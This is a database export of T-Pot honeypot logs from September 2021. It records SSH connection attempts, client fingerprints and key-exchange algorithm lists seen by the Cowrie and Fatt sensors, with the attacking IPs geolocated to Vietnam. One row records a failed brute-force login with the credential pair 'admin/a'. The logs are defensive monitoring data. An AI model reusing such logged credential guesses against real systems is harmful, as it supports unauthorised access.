"hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57006, "timestamp": "2021-09-20T11:07:47.713893", "@timestamp": "2021-09-20T11:07:47.713Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23705	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:47.989607+03	2021-09-20 14:15:07.8495+03	{"_id": "FAbjAnwBvYTbRNuE_A_J", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 57006, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.989607", "@timestamp": "2021-09-20T11:07:47.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23706	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.364536+03	2021-09-20 14:15:07.850502+03	{"_id": "FQbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:55386 (192.168.176.2:22) [session: ddc5a511750a]", "session": "ddc5a511750a", "@version": "1", "protocol": "ssh", "src_port": 55386, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.364536Z", "@timestamp": "2021-09-20T11:07:47.364Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23707	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.450066+03	2021-09-20 14:15:07.8515+03	{"_id": "FgbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:54290 (192.168.176.2:22) [session: 7bef025ad5d8]", "session": "7bef025ad5d8", "@version": "1", "protocol": "ssh", "src_port": 54290, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.450066Z", "@timestamp": "2021-09-20T11:07:47.450Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23708	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.498878+03	2021-09-20 14:15:07.85347+03	{"_id": "FwbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:34080 (192.168.176.2:22) [session: a55e182cb990]", "session": "a55e182cb990", "@version": "1", "protocol": "ssh", "src_port": 34080, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.498878Z", "@timestamp": "2021-09-20T11:07:47.498Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23709	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.712417+03	2021-09-20 14:15:07.854503+03	{"_id": "GAbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:57006 (192.168.176.2:22) [session: aa7d3cfaccd7]", "session": "aa7d3cfaccd7", "@version": "1", "protocol": "ssh", "src_port": 57006, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.712417Z", "@timestamp": "2021-09-20T11:07:47.712Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23710	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:47.918684+03	2021-09-20 14:15:07.856502+03	{"_id": "GQbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:38264 (192.168.176.2:22) [session: 725d61c226c3]", "session": "725d61c226c3", "@version": "1", "protocol": "ssh", "src_port": 38264, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.918684Z", "@timestamp": "2021-09-20T11:07:47.918Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
23711	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.922612+03	2021-09-20 14:15:07.858471+03	{"_id": "GgbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:36986 (192.168.176.2:22) [session: 28222e2c42e2]", "session": "28222e2c42e2", "@version": "1", "protocol": "ssh", "src_port": 36986, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.922612Z", "@timestamp": "2021-09-20T11:07:47.922Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23712	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:47.645682+03	2021-09-20 14:15:07.8595+03	{"_id": "OwbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 55386, "dest_port": 22, "timestamp": "2021-09-20T11:07:47.645682", "@timestamp": "2021-09-20T11:07:47.645Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23724	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.927966+03	2021-09-20 14:15:07.87547+03	{"_id": "RwbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "28222e2c42e2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:47.927966Z", "@timestamp": "2021-09-20T11:07:47.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23713	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:47.927484+03	2021-09-20 14:15:07.86047+03	{"_id": "PAbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 38264, "timestamp": "2021-09-20T11:07:47.927484", "@timestamp": "2021-09-20T11:07:47.927Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23714	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.353704+03	2021-09-20 14:15:07.8625+03	{"_id": "PQbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "3d9857d51089", "@version": "1", "duration": 2.418830156326294, "timestamp": "2021-09-20T11:07:47.353704Z", "@timestamp": "2021-09-20T11:07:47.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23715	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.367433+03	2021-09-20 14:15:07.863502+03	{"_id": "PgbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "ddc5a511750a", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:47.367433Z", "@timestamp": "2021-09-20T11:07:47.367Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23716	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.459249+03	2021-09-20 14:15:07.864498+03	{"_id": "PwbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "7bef025ad5d8", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:47.459249Z", "@timestamp": "2021-09-20T11:07:47.459Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23717	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:47.516518+03	2021-09-20 14:15:07.865501+03	{"_id": "QAbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [admin/a] failed", "session": "1b1c60619027", "@version": "1", "password": "a", "username": "admin", "timestamp": "2021-09-20T11:07:47.516518Z", "@timestamp": "2021-09-20T11:07:47.516Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23718	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:47.518458+03	2021-09-20 14:15:07.866513+03	{"_id": "QQbjAnwBvYTbRNuE_Q91", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "a55e182cb990", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:47.518458Z", "@timestamp": "2021-09-20T11:07:47.518Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
